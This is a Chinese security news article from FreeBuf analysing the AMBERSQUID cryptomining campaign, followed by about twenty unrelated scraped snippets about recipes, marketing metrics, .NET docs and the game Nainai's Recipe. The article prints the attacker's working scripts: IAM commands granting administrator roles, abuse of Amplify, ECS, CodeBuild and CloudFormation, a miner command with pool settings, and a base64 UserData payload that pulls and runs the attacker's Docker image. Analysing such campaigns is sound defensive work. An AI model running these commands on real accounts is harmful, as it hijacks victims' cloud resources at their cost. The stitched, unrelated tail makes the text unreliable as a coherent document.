AMBERSQUID云原生挖矿恶意软件疑似与印尼黑客有关

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

AMBERSQUID攻击云服务但不会触发AWS申请更多资源的请求,与向EC2实例发送垃圾邮件类似。针对多个服务的攻击也为受害者带来了更大的挑战,例如在应急响应的时候必须要找到并杀死所有服务中的挖矿程序。

威胁攻击链

研究人员通过对超170万个Linux镜像进行分析,发现了AMBERSQUID恶意软件。这些危险的容器镜像在进行静态扫描或者恶意二进制文件分析时,不会触发告警。只有当容器运行时,才能够发现服务中的挖矿进程。2023年的云威胁报告也指出,仅使用静态扫描会漏掉大概10%的恶意镜像。

最初调查的容器是在DockerHub上发现的,但很快扩散到很多其他账户。这些账户中的大多数都是从运行挖矿程序的非常基本的容器镜像开始的,最终转向了AWS特定服务。

第一个账户在2022年5月创建,一直活跃到8月份。攻击者后续使用不同的账户推送带有挖矿程序的镜像,一直到2023年3月。在创建自己的存储库前,攻击者从流行的GitHub存储库下载了挖矿程序,并将其导入到Docker镜像中,这使得攻击者的操作更加隐蔽。攻击者的存储库中没有源代码,但提供了用于下载的挖矿程序。这些挖矿程序通常被命名为test,并且经过定制化的UPX加壳,无法轻易脱壳。

以下是研究人员发现与攻击有关的DockerHub账户列表,其中一些账户已经弃用,另一些账户仍然活跃。

GitHub结果

例如:

在创建GitHub账户之前,攻击者使用了没有经过混淆的挖矿程序的二进制文件。研究人员推断,以x结尾的镜像会从攻击者的存储库中下载挖矿程序并在启动时运行它们,可以在各种镜像中看到。尤其是EpiCX镜像,下载量超过10万次。

镜像列表

不以x结尾的镜像会运行针对AWS的脚本。

以delbidaluan/epic为例进行分析,Docker镜像的入口点是entrypoint.sh,所有的镜像都一样,区别是可以执行不同的脚本文件。这种情况下,执行会从以下开始:

entrypoint.sh后还会继续执行以下脚本:

./amplify-role.sh./repo.sh./jalan.sh./update.sh./ecs.sh./ulang.sh角色与权限容器执行的第一个脚本amplify-role.sh会创建AWSCodeCommit-Role角色,该角色是攻击者在攻击过程中使用到的多个角色之一。后续也会为其他AWS服务创建额外的权限,但第一个获得访问权限的服务是AWSAmplify,后文将会探讨Amplify的具体细节:

awsiamcreate-role--role-nameAWSCodeCommit-Role--assume-role-policy-documentfile://amplify-role.json其中amplify-role.json为:

{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"amplify.amazonaws.com"},"Action":"sts:AssumeRole"}]}随后,恶意软件会将CodeCommit、CloudWatch和Amplify的完整访问策略增加到该角色中。

awsiamattach-role-policy--role-nameAWSCodeCommit-Role--policy-arnarn:aws:iam::aws:policy/AWSCodeCommitFullAccessawsiamattach-role-policy--role-nameAWSCodeCommit-Role--policy-arnarn:aws:iam::aws:policy/CloudWatchFullAccessawsiamattach-role-policy--role-nameAWSCodeCommit-Role--policy-arnarn:aws:iam::aws:policy/AdministratorAccess-Amplify还包括一些内联策略:

awsiamput-role-policy--role-nameAWSCodeCommit-Role--policy-nameamed--policy-documentfile://amed.jsonawsiamput-role-policy--role-nameAWSCodeCommit-Role--policy-nameampad--policy-documentfile://ampad.json这些策略会为所有资源赋予Amplify和amplifybackend服务的完全权限。

最后,amplify-role.sh会创建另一个角色sugo-role。该角色具有对SageMaker的完全访问权限,如下所示:

awsiamcreate-role--role-namesugo-role--assume-role-policy-documentfile://sugo.jsonawsiamattach-role-policy--role-namesugo-role--policy-arnarn:aws:iam::aws:policy/AmazonSageMakerFullAccess其中sugo.json为:

awsiamcreate-role--role-nameecsTaskExecutionRole--assume-role-policy-documentfile://ecsTaskExecutionRole.jsonawsiamattach-role-policy--role-nameecsTaskExecutionRole--policy-arnarn:aws:iam::aws:policy/AdministratorAccessawsiamattach-role-policy--role-nameecsTaskExecutionRole--policy-arnarn:aws:iam::aws:policy/AmazonECS_FullAccessawsiamattach-role-policy--role-nameecsTaskExecutionRole--policy-arnarn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy其中ecsTaskExecutionRole.json为:

{"Version":"2012-10-17","Statement":[{"Sid":"","Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}CodeCommitAWSCodeCommit是一种高度可扩展、完全托管的源代码控制服务,可以托管私有Git存储库。攻击者利用该服务生成私有存储库,将其作为不同服务的源。这可以将攻击行为完全控制在AWS内。

awsconfiguresetregionca-central-1awscodecommitcreate-repository--repository-nametest./code.shecho"selesairegionca-central-1"值得注意的是,selesai在印尼语中意为“完成”。

cdamplify-apprm-rf.gitgitinitgitadd.gitcommit-m"webapp"gitbranch-mmastergitstatusgitconfig--globalcredential.helper'!awscodecommitcredential-helper$@'gitconfig--globalcredential.UseHttpPathtruegitremoteremovecodecommitREPO=$(awscodecommitget-repository--repository-nametest--query'repositoryMetadata.cloneUrlHttp'|tr-d'"'2>/dev/null)gitremoteaddcodecommit$REPOgitpushcodecommitmaster--forceAmplifyAWSAmplify是一个开发平台,允许开发人员构建和部署可扩展的Web应用程序与移动应用程序。它提供了一个框架,用于将应用程序与多个其他AWS服务集成,例如用于身份验证的AWSCognito、用于API的AWSAppSync与用于存储的AWSS3。最重要的是,Amplify为攻击者提供了对计算资源的访问权限。

awsconfiguresetregionus-east-1./sup0.shecho"selesairegionus-east-1"脚本从之前创建的存储库创建5个AmplifyWeb应用程序,其中的amplify-app目录包含使用Amplify运行挖矿程序所需的文件,如下所示。

其中amplify.yml如下所示:

importjsonimportdatetimeimportosimporttimeos.system("./start")defhandler(event,context):data={'output':'HelloWorld','timestamp':datetime.datetime.utcnow().isoformat()}return{'statusCode':200,'body':json.dumps(data),'headers':{'Content-Type':'application/json'}}它会运行start脚本,该脚本会执行挖矿程序:

./SRBMiner-MULTI--multi-algorithm-job-mode1--disable-gpu--algorithmrandomepic--poollt.epicmine.io:3334--tlstrue--walletyour_username.worker_name--passwordyour_passwordm=pool--keepalivetrue分析人员认为攻击者这样做是为了避免从外部进行任何下载,从而避免任何告警。

此外,在来自同一矿池的用户的另一张图片tegarhuta/ami中,研究人员发现了在挖矿脚本的同一文件夹中创建Amplify应用程序的说明。其中一个URL就是Amplify-app,撰写本文时似乎仍然在运行。

之后创建一个ECS任务,用于启动容器镜像delbidaluan/epicx。为容器分配2核CPU与4GB内存,并且通过设置“”requiresCompatibilities”:[“FARGATE”]”将其配置在Fargate上运行。

AWSCodeBuild是一项持续集成(CI)服务,可用于编译、测试源代码并生成可部署的结果文件。创建项目时,用户可以在构建规范中指定构建命令。攻击者就依赖此处运行挖矿程序:

AWSCloudFormation是一种基础设施即代码服务,允许用户通过模板部署AWS与第三方资源。攻击者会创建多个CloudFormation堆栈,这些堆栈都是基于自定义EC2ImageBuilder组件的模板。攻击者输入命令,在镜像的构建阶段运行挖矿程序,与Dockerfile中的命令类似。如下所示:

BuildInstanceType:Type:CommaDelimitedListDefault:"c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"再使用以下JSON文件创建八个EC2镜像管道:

{"name":"task$i","description":"Buildsimage","containerRecipeArn":"$CONTAINER","infrastructureConfigurationArn":"$INFRA","distributionConfigurationArn":"$DISTRI","imageTestsConfiguration":{"imageTestsEnabled":true,"timeoutMinutes":60},"schedule":{"scheduleExpression":"cron(*0/1**)","pipelineExecutionStartCondition":"EXPRESSION_MATCH_ONLY"},"status":"ENABLED"}其中最重要的定时任务的部分,使管道每分钟启动一个新的构建。其Docker进项包含之前在真实环境中使用的JSON文件之一,并且泄露了AWS账户ID。

SCRIPT="c3VkbyB5dW0gaW5zdGFsbCBkb2NrZXIgLXkgJiYgc3VkbyBzZXJ2aWNlIGRvY2tlciBzdGFydCAmJiBzdWRvIGRvY2tlciBwdWxsIGRlbGJpZGFsdWFuL2VwaWN4ICYmIHN1ZG8gZG9ja2VyIHJ1biAtZCBkZWxiaWRhbHVhbi9lcGljeA=="AMI=$(awsec2describe-images--filters"Name=manifest-location,Values=amazon/amzn2-ami-kernel-5.10-hvm-2.0.20230404.0-x86_64-gp2"--query'Images[0].ImageId'|tr-d'"'2>/dev/null)exportAMIawsec2create-launch-template\--launch-template-nametask\--version-descriptiontask\--launch-template-data'{"ImageId":"'$AMI'","UserData":"'$SCRIPT'","InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192}}}'AmazonLinux2的最低要求是4核CPU与8GB内存,插入UserData中的base64编码脚本中包含运行挖矿程序的Docker镜像命令:

sudoyuminstalldocker-y&&sudoservicedockerstart&&sudodockerpulldelbidaluan/epicx&&sudodockerrun-ddelbidaluan/epicx然后脚本会创建名为task与task1的AutoScaling组,再使用之前的启动模板启动实例,如下所示:

分析人员评估了受害者带来的成本,如下所示:

成本估算表

默认脚本并未以全功率运行,如果攻击者火力全开会给受害者带来更大的损失。

AWS等云服务提供商为其客户提供大量不同的服务,尽管大多数攻击者都针对计算服务进行攻击,但其实其他服务的计算资源也是攻击者所垂涎的。这些服务很容易被忽略,安全可靠性较低。

THE END
1.RecipeTheNutritionAdventureRecipe Kale & Roasted Beet Salad Cooking Tahini Brownies + ‘Easy Everyday Mediterranean Diet’ Cookbook Appetizers 20+ Halloween Snacks & Treats Beverages Mulled Gin Cider When it comes to high blood pressure, there are a Hey pumpkin-lovers, this article is for you http://thenutritionadventure.com/category/recipe/
2.TheBESTHomemadeLasagnaRecipe(TopWhat makes this homemade lasagna recipe better than the rest? Al dente lasagna noodles, flavorful ricotta cheese mixture, tomato sauce with Italian sausage, and gooey layers of cheese. Absolutely bursting with flavor, this hearty lasagna is heaven in a casserole dish. This Classic Lasagna Recipehttp://bakerbynature.com/the-best-homemade-lasagna-recipe/
3.Recipes346 recipes Nov 1, 2024 The Schrepfer Peanut Butter Smoothie Sep 6, 2024 Savory Avocado Toast with Peanut Salsa Macha Sep 6, 2024 Peanut Butter and Banana Breakfast Quesadilla Sep 6, 2024 Jamaican Peanut Porridge with Caramelized Bananas Sep 6, 2024 Cucumber with Peanut Lime Dressing Aug https://www.nationalpeanutboard.org/recipes/
4.OqueéCPM,CPCeCPA?EntendaquandousarcadaE falando em mídia paga, n?o posso deixar de mencionar nosso kit de estratégias sobre o assunto. é só baixar! O que é CPA no marketing digital? O significado de CPA no marketing éCusto Por Aquisio. O custo, claro, é o valor gasto. https://neilpatel.com/br/blog/cpa-cpc-cpm/
5.UltimateBlueberryBreadRecipe:MoistandDeliciousThis Blueberry Bread Recipe is a delightful way to turn fresh blueberries into a delicious treat that’s sure to impress! Bursting with juicy blueberries, this moist and tender bread is perfect for breakfast, brunch, or a sweet snack any time of day. The subtle sweetness and vibrant berryhttp://www.mommalew.com/the-best-blueberry-bread-recipe/
6.AppStore上的“MyHera”My Hera è la nuova app per i clienti residenziali del Gruppo Hera, completamente gratuita, tramite cui puoi gestire tutti i tuoi servizi dove e quando vuoi. S…https://apps.apple.com/cn/app/my-hera/id1245611790
7.JsonSourceGenerationOptionsAttribute.AllowOutOfOrderMetadataEspecifica el valor predeterminado de AllowOutOfOrderMetadataProperties cuando se establece. C# Copiar public bool AllowOutOfOrderMetadataProperties { get; set; } Valor de propiedad Boolean Se aplica a ProdutoVersións .NET 8 (package-provided), 9 https://docs.microsoft.com/gl-es/dotnet/api/system.text.json.serialization.jsonsourcegenerationoptionsattribute.allowoutofordermetadataproperties?view=netstandard-2.1-pp
8.Nainai’sRecipeNainai’s Recipe is our thesis game made at NYU Game Center with support from Winnie Song, Naomi Clark, Matt Boch, Bennett Foddy, Ethan Redd, Hosni Auji, Alina Constantin, Hao Fan, and MFA 2021 classmatesGame Website: https://nainaisrecipe.comhttps://gamecenter.nyu.edu/projects/nainais-recipe/
9.奶奶的菜谱Bangumi番组计划打开你的冰箱,选择食材,观察,切开,调味,加热,然后尝尝看。隔离的日子里,跟奶奶学做菜。 奶奶的菜谱是一个关注烹饪的真实体验的游戏。也是一个关于我们如何在 2020 年用一种特殊的方式生活在一起的家庭故事。 充分自由度 - 游戏不使用预设的食材状态,玩家可以自由的控制做饭的流程,用自己的方法做出不同的食物。 http://bgm.tv/subject/342096
10.AllrecipesRecipes,HowWe know our community (that’s you!) is the key ingredient that sets us apart.Learn More Fluffy French Toast "Perfect and delicious!!! Why dine out? Save the money and make this at home! My boyfriend says this is 'fantastic.'" https://www.allrecipes.com/
11.奶奶的菜谱官网是什么奶奶的菜谱NainaisRecipe官方地址奶奶的菜谱官网是什么?这是一款可以跟奶奶学做菜的模拟游戏新作,相信喜欢美食的玩家会感兴趣,这里给大家带来了奶奶的菜谱Nainais Recipe官方地址分享,快来看下吧。 奶奶的菜谱Nainais Recipe官方地址分享 》》》请点击奶奶的菜谱官网地址《《《 游戏概述 https://mip.ali213.net/gl/html/774539.html
12.奶奶的菜谱游戏怎么样NainaisRecipe试玩心得分享奶奶的菜谱作为一款沙盒游戏,以温暖的剧情和温馨的氛围让大家仿佛回到了和奶奶相处的幼时时光,很多玩家还不清楚游戏具体可玩性怎么样。下面小编就带大家看一看Nainais Recipe试玩心得分享。 奶奶的菜谱游戏怎么样 故事:8/10 没有任何深刻或充满传说的东西,非常可爱和平静,非常适合游戏的氛围/类型。唯一的不满的是,到https://www.duotegame.com/mgl/46352.html
13.奶奶的菜谱nainaisrecipe游戏下载奶奶的菜谱nainaisrecipe是一款非常温馨的模拟烹饪游戏。游戏中,玩家可以与奶奶对话获取菜谱,然后按照菜谱开始烹饪。每道菜都有完整的制作方法和流程,可以给您带来新鲜的体验。 《奶奶的菜谱nainaisrecipe》游戏优势: 1.游戏的画面以卡通设计为主,打造了丰富的游戏场景和实物造型。 http://www.1666.com/az/v720456.html
14.奶奶的菜谱游戏下载Nainai's Recipe以风格化的视觉效果捕捉烹饪感觉的游戏。还有一个关于我们如何在2022年以特殊方式共同生活的家庭故事。 游戏特色 最大程度的控制——没有预设的食材切片质地,没有以性能为导向的步骤,我们希望您从头到尾享受烹饪的乐趣。 食物到更大的食物传统——我们策划了一个风格化的厨房,带有强烈的中国厨房风味http://www.xfdown.com/soft/131845.html
15.Nainai’sRecipeReviews,News,Descriptions,WalkthroughandNainai’s Recipe Game Story Summary Open your fridge, choose the ingredients, examine, chop, seasoning, heat, and taste them. During the lockdown, you start to learn how to cook from your dear grandma. ## About This Game Nainai’s Recipe is a game that captures the cooking feeling inhttps://www.sockscap64.com/games/game/nainais-recipe/
16.慢悠悠做饭,《奶奶的菜谱》小组讨论下载:https://houkanshan.itch.io/nainais-recipe 目前只有demo,一不小心就玩完了,不知道啥时候才能正式发售,上次更新还是22年 天下苦急赤白脸做饭游戏久矣,我太喜欢这种没有时间限制,而且可以亲手操作每一个步骤的做饭游戏了 一边和奶奶发信息一边做饭,奶奶会教你怎么做 https://m.douban.com/group/topic/311539536
17.奶奶的菜谱中国独立游戏indienova独立游戏“This cosy cooking game is all about chilling with your grandma and rustling up some incredible grub. Nainais Recipe gives a surprising amount of freedom over the way you cook your food. There are no” -PCGamer:This cosy cooking game is about staying connected with family in the pandemic https://indienova.com/g/nainais-recipe
18.SustainableEnergy&FuelsEcoinvent is the most commonly used life cycle inventory database due to its completeness, accuracy, and consistency. ReCiPe, CML, and Cumulative Energy Demand (CED) are the most common methods concerning the life cycle environmental impact assessment methods. The ReCiPe method contains 18 midpointhttps://pubs.rsc.org/en-us/content/articlepdf/2023/se/d3se00405h
19.FewThe abilities to form and abstract concepts is key to human intelligence, but such abilities remainParameter-efficient fine-tuning using T-few recipe (Liu et al., 2022) on Flan-T5 (Chang etAuthors:Xinyu Gong, Sreyas Mohan, Naina Dhingra, Jean-Charles Bazin, Yilei Li, Zhangyang Wang,http://ipaper.today/2023/05/15/2023-05-15-few-shot/
20.奶奶的菜谱(NainaisRecipe)发售时来自最IN游戏集中营《奶奶的菜谱》(Nainai’s Recipe)发售时间未定风格化中式烹饪游戏,特殊时期的家庭故事。疫情隔离期间,你开始通过手机向亲爱的奶奶学习如何做饭,藉由聊天更多地了解奶奶。打开冰箱,挑选食材、切菜、调味、烹饪最后进行品尝,用自己的方法做出不同的食物。自带中文!#游戏资讯# L游点不靠谱的微博视频 https://weibo.com/5272379041/KzjpDspgB